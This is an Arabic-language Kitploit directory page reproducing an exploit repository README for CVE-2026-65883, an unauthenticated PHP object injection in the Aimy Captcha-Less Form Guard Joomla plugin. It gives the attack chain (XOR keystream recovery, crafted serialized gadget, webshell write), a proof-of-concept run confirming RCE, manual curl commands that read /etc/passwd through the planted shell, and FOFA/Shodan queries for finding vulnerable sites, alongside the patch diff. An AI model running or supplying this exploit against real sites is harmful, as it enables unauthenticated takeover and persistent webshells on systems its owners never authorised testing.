Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-65883 — Aimy Captcha-Less Form Guard مكوّن جوملا: حقن كائنات PHP وتنفيذ برمجيات عن بُعد (RCE). استعادة تدفق المفتاح XOR في clfgd + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1 | Kitploit
أدوات/GitHubGitHub/shinthink/cve-2026-65883
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالفريق الأحمر
GitHubshinthink/cve-2026-65883

CVE-2026-65883

Aimy Captcha-Less Form Guard مكوّن جوملا: حقن كائنات PHP وتنفيذ برمجيات عن بُعد (RCE). استعادة تدفق المفتاح XOR في clfgd + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1

عرض المستودع
منذ 20 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Python CVE CVSS License

CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

حقل clfgd → استعادة XOR → unserialize() → FormattedtextLogger → RCE


نظرة عامة

حقن كائنات PHP بدون مصادقة في Aimy Captcha-Less Form Guard لـ Joomla. تقوم طريقة onCheckAnswer() بفك ترميز base64 لحقل POST clfgd الذي يتحكم به المهاجم، وتمرّره عبر XOR بمفتاح متكرر، ثم تمرر النتيجة مباشرة إلى unserialize() — بدون HMAC، وبدون تقييد allowed_classes، وبدون أي فحص تكامل.


الإصدارات المتأثرة

الحالةالإصدار
قابل للاستغلال18.0 — 20.0
تم التصحيح20.1 (29 يوليو 2026)

آلية الثغرة

السبب الجذري

تمرر طريقة onCheckAnswer() في plg_captcha_aimycaptchalessformguard المدخلات التي يتحكم بها المهاجم مباشرة إلى unserialize():

root@kitploit:~
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

إن "تشفير" XOR هو في الحقيقة شيفرة Vigenère بمفتاح خاص بكل جلسة — بلا مصادقة، مجرد إخفاء للمعلومات.

التشفير المكسور

root@kitploit:~
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

استعادة تدفق المفاتيح

يعرض المكوّن الإضافي كلاً من النص المشفَّر والنص الصريح في نفس استجابة HTML:

root@kitploit:~
// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

بما أن كلاً من trap_ids (القابلة للاستخراج من <span id="..._mark"> وحقل honeypot) والنص المشفَّر موجودان في HTML، فإن إجراء XOR بينهما يستعيد ~94 بايت من تدفق المفاتيح البالغ 231 بايت.

خطوات الهجوم

  1. GET لأي نموذج محمي بـ captcha (التسجيل، تسجيل الدخول، التواصل، إعادة تعيين كلمة المرور)
  2. استخراج النص المشفَّر clfgd + trap_ids + التوقيت → استعادة 94 بايت من تدفق المفاتيح
  3. مواءمة كائن FormattedtextLogger مُسلسَل بحيث تقع البايتات البنيوية على مواضع معروفة من تدفق المفاتيح
  4. إرسال POST بحقل clfgd مُصمم → unserialize() → __destruct() → formatLine() → كتابة قشرة ويب PHP
  5. GET /random.php?c=id → RCE بصلاحيات www-data

إثبات المفهوم

هدف واحد

root@kitploit:~
$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

الاستغلال اليدوي

root@kitploit:~
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

root@kitploit:~
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

الإصلاح (20.1)

root@kitploit:~
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

لا يمكن لـ json_decode() إنشاء كائنات PHP — وبذلك تنقطع سلسلة أدوات POP.


الأثر

  • RCE كامل — تنفيذ أوامر عشوائية بصلاحيات www-data
  • لا يتطلب مصادقة — أي نموذج عام يحتوي captcha يُعد ناقل هجوم
  • Joomla 3.9–5.2.1 — أداة FormattedtextLogger تعمل عبر جميع الإصدارات
  • بقاء دائم — تبقى قشرة الويب حتى يتم حذفها يدوياً

إخلاء مسؤولية

هذه الأداة مخصصة للاختبارات الأمنية التعليمية والمصرح بها فقط. استخدمها فقط ضد أنظمة تملكها أو لديك إذن صريح لاختبارها.


المراجع


غير مرتبط بـ Aimy Extensions أو VulnCheck.

تنزيل الأداة
الحقلالتفاصيل
CVECVE-2026-65883
المنتجAimy Captcha-Less Form Guard (إضافة Joomla)
CVSS 4.010.0 (حرجة)
النوعCWE-502 — إلغاء تسلسل بيانات غير موثوقة
المتأثر18.0 — 20.0
تم التصحيح20.1 (29 يوليو 2026)
الاكتشافValentin Lobstein (Chocapikk) / VulnCheck — 26 يوليو 2026
المصدرالرابط
مدونة VulnCheckvulncheck.com/blog/aimy-captcha-less-form-guard-object-injection
مركز IONIX للتهديداتionix.io/threat-center/cve-2026-65883
سجل CVEcve.org/CVERecord?id=CVE-2026-65883
NVDnvd.nist.gov/vuln/detail/CVE-2026-65883